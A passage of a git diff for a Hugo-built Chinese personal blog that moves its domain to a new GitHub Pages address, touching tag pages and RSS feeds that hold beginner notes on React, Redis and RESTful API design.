+const hallo = React.createElement(&amp;quot;h1&amp;quot;,{class: &amp;quot;main&amp;quot;},React.createElement(&amp;quot;p&amp;quot;,null,&amp;quot;hallo word!!!&amp;quot;)) /* 上面提供了三个参数，分别是元素名称，元素属性，元素的子节点 */ ReactDOM.render(hallo,document.getElementById(&amp;quot;app&amp;quot;)) /* 上面提供了个两个参数，分别是要渲染的react元素，挂载点*/ react脚手架
 初始化项目
 npx create-react-app app
 启动项目（在项目根目录执行）
diff --git a/tags/react/page/1/index.html b/tags/react/page/1/index.html
index d480576f..22a8ff24 100644
--- a/tags/react/page/1/index.html
+++ b/tags/react/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/react/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/react/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/react/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/react/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/react/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/react/"></head></html>
\ No newline at end of file
diff --git a/tags/redis/index.html b/tags/redis/index.html
index 719d58d8..b4e05a75 100644
--- a/tags/redis/index.html
+++ b/tags/redis/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Redis | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/redis/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/redis/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Redis"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/redis/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Redis"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>Redis</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Redis学习笔记</h2></header><div class=entry-content><p>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>Redis | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/redis/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/redis/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Redis"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/redis/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Redis"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>Redis</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>Redis学习笔记</h2></header><div class=entry-content><p>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
 Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点
 可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）
 因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s
@@ -41,7 +41,7 @@
 logfile，redis日志名
 dir，redis工作目录（日志文件和持久化文件存储在哪个文件）
 以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid
-daemonize yes...</p></div><footer class=entry-footer><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Redis学习笔记" href=https://xiaochenabc123.github.io/posts/97/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+daemonize yes...</p></div><footer class=entry-footer><span title='2021-09-10 21:10:00 +0000 UTC'>2021-09-10</span>&nbsp;·&nbsp;5 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Redis学习笔记" href=https://chenjunlinabc.github.io/posts/97/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/redis/index.xml b/tags/redis/index.xml
index da562101..9dbea72b 100644
--- a/tags/redis/index.xml
+++ b/tags/redis/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>Redis on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/redis/</link>
+    <link>https://chenjunlinabc.github.io/tags/redis/</link>
     <description>Recent content in Redis on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Fri, 10 Sep 2021 21:10:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/redis/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Fri, 10 Sep 2021 21:10:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/redis/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>Redis学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/97/</link>
+      <link>https://chenjunlinabc.github.io/posts/97/</link>
       <pubDate>Fri, 10 Sep 2021 21:10:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/97/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/97/</guid>
       <description>Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储
 Redis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点
 可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）
diff --git a/tags/redis/page/1/index.html b/tags/redis/page/1/index.html
index ddb61544..47cb7b64 100644
--- a/tags/redis/page/1/index.html
+++ b/tags/redis/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/redis/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/redis/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/redis/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/redis/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/redis/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/redis/"></head></html>
\ No newline at end of file
diff --git a/tags/restful/index.html b/tags/restful/index.html
index 62aed21e..bb934512 100644
--- a/tags/restful/index.html
+++ b/tags/restful/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>RESTful | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/restful/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/restful/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="RESTful"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/restful/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="RESTful"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>RESTful</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解RESTful设计规范</h2></header><div class=entry-content><p>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>RESTful | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/restful/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/restful/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="RESTful"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/restful/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="RESTful"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>RESTful</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单了解RESTful设计规范</h2></header><div class=entry-content><p>RESTful是指满足REST的约束条件和原则的应用或者设计，REST全称Representational State Transfer（表现层状态转移），REST出现在2000年Roy Fielding的博士论文中（Roy Fielding是HTTP规范的主要编写者之一），RESTful是目前最流行的API设计规范
 资源(Resources)：REST是基于资源的，不同的资源使用不同且唯一的URI(统一资源标识符（Uniform Resource Identifier），URI格式例如：/img/hallo.jpg，可表示一个资源的路径和资源名称，URI实质上就是URL加URN)表示，获取资源通过访问URI得到，这个资源可以是任何东西（例如txt，exe，iso，mp3，mp4等等）
 表示层(Representation)：表示层指是将资源具体内容以某种方式展现出来的，例如hallo.mp3，那么就会用mp3的格式来展现这个文件的内容
